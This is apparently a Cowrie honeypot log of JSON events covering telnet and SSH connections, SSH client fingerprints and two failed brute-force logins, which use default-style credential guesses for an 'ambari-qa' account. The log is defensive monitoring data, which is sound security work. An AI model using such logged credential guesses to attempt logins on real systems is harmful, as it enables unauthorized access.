{"eventid":"cowrie.session.closed","duration":31.7324321269989,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:09.867464Z","src_ip":"174.136.57.21","session":"2fc3a77eddbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.41387915611267,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:11.345140Z","src_ip":"149.28.165.80","session":"fe99b1030740","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85526418685913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:11.612468Z","src_ip":"149.28.165.80","session":"14ca6ba541c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27881693840027,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:12.066025Z","src_ip":"149.28.165.80","session":"ec37d1ec4327","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":35206,"dst_ip":"10.17.0.5","dst_port":23,"session":"82f1d85cd7ed","protocol":"telnet","message":"New connection: 162.253.42.116:35206 (10.17.0.5:23) [session: 82f1d85cd7ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:13.221510Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":52748,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2e0f2bc1bad","protocol":"telnet","message":"New connection: 104.248.46.74:52748 (159.203.135.109:23) [session: a2e0f2bc1bad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:13.751736Z"}
{"eventid":"cowrie.session.closed","duration":48.45909404754639,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:14.144600Z","src_ip":"208.82.116.131","session":"3505256edd05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":36902,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a0a757d1600","protocol":"telnet","message":"New connection: 162.253.42.116:36902 (10.17.0.5:23) [session: 6a0a757d1600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:14.752145Z"}
{"eventid":"cowrie.session.closed","duration":33.94562363624573,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:14.903774Z","src_ip":"162.253.42.116","session":"1a749446d271","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.392537593841553,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:15.311121Z","src_ip":"149.28.165.80","session":"8a85e0535e88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.903931140899658,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:15.486543Z","src_ip":"149.28.165.80","session":"b3d60b83b6d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.320523738861084,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:16.653481Z","src_ip":"149.28.165.80","session":"25fa28605a5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":53824,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdaa240d0cce","protocol":"telnet","message":"New connection: 104.248.46.74:53824 (159.203.135.109:23) [session: fdaa240d0cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:19.635913Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":47334,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f84d33962f5","protocol":"telnet","message":"New connection: 162.253.42.116:47334 (10.17.0.5:23) [session: 2f84d33962f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:23.872602Z"}
{"eventid":"cowrie.session.closed","duration":30.407145977020264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:25.282110Z","src_ip":"149.28.165.80","session":"e8cf0cf6da00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.42698955535889,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:28.741151Z","src_ip":"162.253.42.116","session":"545acb05f5ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":53144,"dst_ip":"10.17.0.5","dst_port":23,"session":"57fcc022e8d0","protocol":"telnet","message":"New connection: 162.253.42.116:53144 (10.17.0.5:23) [session: 57fcc022e8d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:28.927417Z"}
{"eventid":"cowrie.session.closed","duration":35.59721255302429,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:29.956185Z","src_ip":"174.136.57.21","session":"ebd99237c734","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":59196,"dst_ip":"10.17.0.5","dst_port":23,"session":"db5231167a15","protocol":"telnet","message":"New connection: 162.253.42.116:59196 (10.17.0.5:23) [session: db5231167a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:34.477236Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":57370,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f9addbc1750","protocol":"telnet","message":"New connection: 104.248.46.74:57370 (159.203.135.109:23) [session: 6f9addbc1750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:36.256832Z"}
{"eventid":"cowrie.session.closed","duration":34.06308436393738,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:37.997529Z","src_ip":"162.253.42.116","session":"ca2b9200ca2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59090,"dst_ip":"159.203.135.109","dst_port":22,"session":"9040423c6e04","protocol":"ssh","message":"New connection: 159.203.92.129:59090 (159.203.135.109:22) [session: 9040423c6e04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:43.372319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:43.376578Z","src_ip":"159.203.92.129","session":"9040423c6e04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:43.380529Z","src_ip":"159.203.92.129","session":"9040423c6e04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ambari-qa","password":"ambari-qa","message":"login attempt [ambari-qa/ambari-qa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:43.390288Z","src_ip":"159.203.92.129","session":"9040423c6e04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:44.396618Z","src_ip":"159.203.92.129","session":"9040423c6e04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":46382,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7ff9ccbe7ed","protocol":"telnet","message":"New connection: 208.82.116.131:46382 (159.203.135.109:23) [session: b7ff9ccbe7ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:45.207995Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":46390,"dst_ip":"159.203.135.109","dst_port":23,"session":"3980c29a363e","protocol":"telnet","message":"New connection: 208.82.116.131:46390 (159.203.135.109:23) [session: 3980c29a363e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:45.272113Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":46442,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4075d8977d4","protocol":"telnet","message":"New connection: 208.82.116.131:46442 (159.203.135.109:23) [session: c4075d8977d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:45.348013Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.82.116.131","src_port":46476,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1790296c9ed","protocol":"telnet","message":"New connection: 208.82.116.131:46476 (159.203.135.109:23) [session: c1790296c9ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:45.414141Z"}
{"eventid":"cowrie.session.closed","duration":33.30821132659912,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:48.060222Z","src_ip":"162.253.42.116","session":"6a0a757d1600","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.53885769844055,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:48.760256Z","src_ip":"162.253.42.116","session":"82f1d85cd7ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.19341325759888,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:50.944803Z","src_ip":"104.248.46.74","session":"a2e0f2bc1bad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.67697811126709,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:51.024885Z","src_ip":"208.82.116.131","session":"c4075d8977d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":49496,"dst_ip":"10.17.0.5","dst_port":23,"session":"047ea67115da","protocol":"telnet","message":"New connection: 162.253.42.116:49496 (10.17.0.5:23) [session: 047ea67115da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:51.300537Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":35134,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cd4814f8b61","protocol":"telnet","message":"New connection: 104.248.46.74:35134 (159.203.135.109:23) [session: 6cd4814f8b61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:59.331010Z"}
{"eventid":"cowrie.session.closed","duration":35.48746418952942,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:46:59.359954Z","src_ip":"162.253.42.116","session":"2f84d33962f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":59090,"dst_ip":"10.17.0.5","dst_port":23,"session":"5486404a1236","protocol":"telnet","message":"New connection: 162.253.42.116:59090 (10.17.0.5:23) [session: 5486404a1236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:00.756436Z"}
{"eventid":"cowrie.session.closed","duration":33.69418287277222,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:02.621510Z","src_ip":"162.253.42.116","session":"57fcc022e8d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.84454321861267,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:03.480366Z","src_ip":"104.248.46.74","session":"fdaa240d0cce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":35952,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2a02bdca4d5","protocol":"telnet","message":"New connection: 162.253.42.116:35952 (10.17.0.5:23) [session: c2a02bdca4d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:04.081499Z"}
{"eventid":"cowrie.session.closed","duration":35.5409574508667,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:10.018078Z","src_ip":"162.253.42.116","session":"db5231167a15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.4900016784668,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:10.746719Z","src_ip":"104.248.46.74","session":"6f9addbc1750","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00094437599182,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:15.645831Z","src_ip":"104.248.46.74","session":"525dc6ea7ab3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":52186,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bb739905dd4","protocol":"telnet","message":"New connection: 162.253.42.116:52186 (10.17.0.5:23) [session: 1bb739905dd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:18.530819Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":40824,"dst_ip":"159.203.135.109","dst_port":23,"session":"5635dd5d8294","protocol":"telnet","message":"New connection: 104.248.46.74:40824 (159.203.135.109:23) [session: 5635dd5d8294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:19.799536Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":57126,"dst_ip":"10.17.0.5","dst_port":23,"session":"c78e8b552063","protocol":"telnet","message":"New connection: 162.253.42.116:57126 (10.17.0.5:23) [session: c78e8b552063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:22.900032Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42086,"dst_ip":"159.203.135.109","dst_port":22,"session":"729a9c78c3d7","protocol":"ssh","message":"New connection: 159.203.92.129:42086 (159.203.135.109:22) [session: 729a9c78c3d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:26.330928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:26.335726Z","src_ip":"159.203.92.129","session":"729a9c78c3d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:26.339897Z","src_ip":"159.203.92.129","session":"729a9c78c3d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ambari-qa","password":"ambari-qa123","message":"login attempt [ambari-qa/ambari-qa123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:26.349366Z","src_ip":"159.203.92.129","session":"729a9c78c3d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.32093548774719,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:26.621328Z","src_ip":"162.253.42.116","session":"047ea67115da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.54244565963745,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:26.956495Z","src_ip":"208.82.116.131","session":"c1790296c9ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:27.355386Z","src_ip":"159.203.92.129","session":"729a9c78c3d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.253.42.116","src_port":34420,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca7f5bfc837b","protocol":"telnet","message":"New connection: 162.253.42.116:34420 (10.17.0.5:23) [session: ca7f5bfc837b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:27.814265Z"}
{"eventid":"cowrie.session.closed","duration":45.152578592300415,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:30.360400Z","src_ip":"208.82.116.131","session":"b7ff9ccbe7ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.683095932006836,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:30.955071Z","src_ip":"208.82.116.131","session":"3980c29a363e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.5023467540741,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:35.258688Z","src_ip":"162.253.42.116","session":"5486404a1236","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.04741954803467,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:36.378300Z","src_ip":"104.248.46.74","session":"6cd4814f8b61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.25884675979614,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:38.340225Z","src_ip":"162.253.42.116","session":"c2a02bdca4d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":47712,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec5c7e1f681f","protocol":"telnet","message":"New connection: 104.248.46.74:47712 (159.203.135.109:23) [session: ec5c7e1f681f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:46.967282Z"}
{"eventid":"cowrie.session.closed","duration":35.95461916923523,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:54.485350Z","src_ip":"162.253.42.116","session":"1bb739905dd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.7493577003479,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:55.548777Z","src_ip":"104.248.46.74","session":"5635dd5d8294","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":49144,"dst_ip":"159.203.135.109","dst_port":23,"session":"418b018755db","protocol":"telnet","message":"New connection: 104.248.46.74:49144 (159.203.135.109:23) [session: 418b018755db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:55.601266Z"}
{"eventid":"cowrie.session.closed","duration":33.798083543777466,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:56.697985Z","src_ip":"162.253.42.116","session":"c78e8b552063","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.248.46.74","src_port":49872,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9304f43a22d","protocol":"telnet","message":"New connection: 104.248.46.74:49872 (159.203.135.109:23) [session: f9304f43a22d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:47:57.132670Z"}
{"eventid":"cowrie.session.closed","duration":36.341049671173096,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:48:04.155197Z","src_ip":"162.253.42.116","session":"ca7f5bfc837b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42040,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcbcd4fa99fc","protocol":"ssh","message":"New connection: 159.203.92.129:42040 (159.203.135.109:22) [session: bcbcd4fa99fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:48:11.721052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:48:11.725553Z","src_ip":"159.203.92.129","session":"bcbcd4fa99fc","protocol":"ssh"}
